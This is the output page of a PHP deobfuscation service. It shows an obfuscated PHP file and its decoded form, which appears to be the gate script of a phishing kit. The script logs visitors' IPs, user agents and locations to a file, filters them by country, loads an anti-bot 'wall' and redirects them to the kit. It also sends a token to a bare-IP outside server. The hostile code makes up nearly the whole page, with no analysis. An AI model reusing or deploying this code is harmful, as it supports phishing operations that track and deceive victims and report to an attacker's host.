Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto Yeq5v; hnM1v: file_put_contents("\x76\x69\163\151\164\157\162\163\x2e\150\164..

Decoded Output download

<?php 
 goto Yeq5v; hnM1v: file_put_contents("visitors.html", $str, FILE_APPEND | LOCK_EX); goto bjqL6; iL2UJ: $count = "{$ipinfo_json["country"]}"; goto uY8u_; Y6zcW: $data = array("token" => $token); goto HV_nL; afkLD: $CountryCode = "{$ipinfo_json["countryCode"]}"; goto WQ7ZV; HV_nL: $context = stream_context_create(array("http" => array("header" => "Content-type: application/x-www-form-urlencoded\xd\xa", "method" => "POST", "content" => http_build_query($data)))); goto Wewh0; WQ7ZV: $org = "{$ipinfo_json["as"]}"; goto nbAXg; mx4Ol: $agent = $_SERVER["HTTP_USER_AGENT"]; goto N9zi_; uY8u_: $date = date("Y-m-d H:i:s"); goto Wgmir; N9zi_: $ip = $_SERVER["REMOTE_ADDR"]; goto UoyUS; OHXDk: $url = "http://102.165.14.4:5000/receive_token?referrer=loco"; goto Y6zcW; bH4WK: $status = "{$ipinfo_json["status"]}"; goto afkLD; TmCbh: $visitorip = $_SERVER["REMOTE_ADDR"]; goto srCkU; srCkU: $ipinfo_json = getIpInfo($visitorip); goto bH4WK; nbAXg: $isps = "{$ipinfo_json["isp"]}"; goto iL2UJ; zwdJo: include "prevents/wall.php"; goto MlQz_; Yeq5v: include "app/Config/panel.php"; goto tGZxK; UoyUS: function getIpInfo($ip = '') { $ipinfo = file_get_contents("http://ip-api.com/json/" . $ip); $ipinfo_json = json_decode($ipinfo, true); return $ipinfo_json; } goto TmCbh; Wgmir: $str = " <tr><th scope='row'>{$ip}</th><td>{$agent}</td><td>{$date}</td><td>{$org}</td><td>{$count}</td></tr>"; goto hnM1v; Wewh0: file_get_contents($url, false, $context); goto zwdJo; bjqL6: if ($status == "success") { if (count($allowed) > 0) { if (!in_array($CountryCode, $allowed)) { $_SESSION["MASTER"] = false; die("THE REQUEST WAS DENIED: MAKE SURE YOU ARE NOT CONNECTED TO A PRIVATE NETWORK."); } } $_SESSION["MASTER"] = true; header("Location: app/index.php?userid={$ue}&ue={$id}"); die; } else { die("Failed to retrieve IP information."); } goto EoCxk; tGZxK: $token = TOKEN; goto OHXDk; MlQz_: $allowed = array(); goto mx4Ol; EoCxk: ?>

Did this file decode correctly?

Original Code

<?php
 goto Yeq5v; hnM1v: file_put_contents("\x76\x69\163\151\164\157\162\163\x2e\150\164\155\x6c", $str, FILE_APPEND | LOCK_EX); goto bjqL6; iL2UJ: $count = "{$ipinfo_json["\143\x6f\165\156\164\x72\x79"]}"; goto uY8u_; Y6zcW: $data = array("\164\x6f\x6b\145\x6e" => $token); goto HV_nL; afkLD: $CountryCode = "{$ipinfo_json["\143\x6f\165\156\x74\x72\x79\x43\x6f\144\x65"]}"; goto WQ7ZV; HV_nL: $context = stream_context_create(array("\150\164\x74\160" => array("\x68\x65\x61\x64\145\162" => "\103\x6f\x6e\x74\145\x6e\x74\x2d\164\x79\x70\145\72\40\141\160\x70\x6c\151\x63\x61\164\151\157\x6e\x2f\170\55\x77\x77\167\x2d\x66\157\162\155\x2d\x75\x72\154\x65\156\x63\157\144\145\144\xd\xa", "\155\145\x74\150\157\x64" => "\x50\x4f\123\124", "\143\x6f\x6e\164\x65\x6e\x74" => http_build_query($data)))); goto Wewh0; WQ7ZV: $org = "{$ipinfo_json["\x61\163"]}"; goto nbAXg; mx4Ol: $agent = $_SERVER["\110\124\124\x50\x5f\x55\123\x45\122\x5f\101\x47\105\116\x54"]; goto N9zi_; uY8u_: $date = date("\131\55\155\x2d\144\x20\110\72\151\72\163"); goto Wgmir; N9zi_: $ip = $_SERVER["\x52\x45\x4d\117\x54\x45\137\x41\104\x44\x52"]; goto UoyUS; OHXDk: $url = "\150\x74\x74\x70\72\x2f\57\61\60\x32\56\61\66\65\x2e\61\x34\56\x34\x3a\65\x30\x30\60\57\162\145\143\145\151\166\x65\137\x74\x6f\x6b\145\x6e\x3f\162\x65\x66\145\162\x72\x65\x72\75\x6c\157\143\157"; goto Y6zcW; bH4WK: $status = "{$ipinfo_json["\163\164\x61\164\x75\x73"]}"; goto afkLD; TmCbh: $visitorip = $_SERVER["\122\x45\x4d\117\x54\105\x5f\x41\x44\104\122"]; goto srCkU; srCkU: $ipinfo_json = getIpInfo($visitorip); goto bH4WK; nbAXg: $isps = "{$ipinfo_json["\x69\x73\x70"]}"; goto iL2UJ; zwdJo: include "\x70\162\x65\166\x65\x6e\164\x73\57\167\x61\154\154\56\x70\x68\160"; goto MlQz_; Yeq5v: include "\x61\x70\160\57\x43\x6f\x6e\x66\x69\147\57\160\141\x6e\x65\x6c\x2e\x70\x68\160"; goto tGZxK; UoyUS: function getIpInfo($ip = '') { $ipinfo = file_get_contents("\150\164\164\160\x3a\57\57\151\160\x2d\x61\x70\151\x2e\x63\157\x6d\x2f\152\163\157\156\57" . $ip); $ipinfo_json = json_decode($ipinfo, true); return $ipinfo_json; } goto TmCbh; Wgmir: $str = "\x20\x3c\x74\162\76\74\164\x68\40\163\x63\157\x70\x65\x3d\47\x72\157\167\47\76{$ip}\74\x2f\164\150\x3e\74\164\x64\x3e{$agent}\74\x2f\x74\144\x3e\x3c\x74\x64\x3e{$date}\x3c\x2f\164\x64\x3e\x3c\x74\144\x3e{$org}\74\57\x74\x64\76\74\164\x64\76{$count}\x3c\57\x74\144\76\74\x2f\x74\x72\x3e"; goto hnM1v; Wewh0: file_get_contents($url, false, $context); goto zwdJo; bjqL6: if ($status == "\163\x75\x63\x63\x65\163\163") { if (count($allowed) > 0) { if (!in_array($CountryCode, $allowed)) { $_SESSION["\115\x41\123\124\105\122"] = false; die("\124\110\105\x20\x52\105\121\x55\x45\123\124\40\127\x41\x53\x20\104\105\116\x49\x45\104\x3a\40\115\101\x4b\105\40\x53\x55\x52\x45\40\131\117\x55\40\x41\122\x45\x20\x4e\117\x54\40\103\x4f\x4e\x4e\105\x43\124\105\104\x20\124\x4f\x20\101\x20\120\x52\111\126\101\x54\x45\x20\x4e\105\124\x57\117\122\113\56"); } } $_SESSION["\115\x41\123\x54\x45\122"] = true; header("\114\157\x63\141\x74\151\x6f\x6e\72\40\141\x70\x70\x2f\151\156\x64\x65\170\56\160\150\160\77\165\163\x65\x72\151\144\75{$ue}\46\x75\145\x3d{$id}"); die; } else { die("\x46\141\151\154\145\144\40\164\x6f\x20\x72\145\164\x72\x69\x65\166\x65\x20\111\x50\40\151\156\146\157\162\x6d\141\164\151\x6f\156\x2e"); } goto EoCxk; tGZxK: $token = TOKEN; goto OHXDk; MlQz_: $allowed = array(); goto mx4Ol; EoCxk: ?>

Function Calls

None

Variables

None

Stats

MD5 17304608ba38fe5ba41b4b041167529f
Eval Count 0
Decode Time 53 ms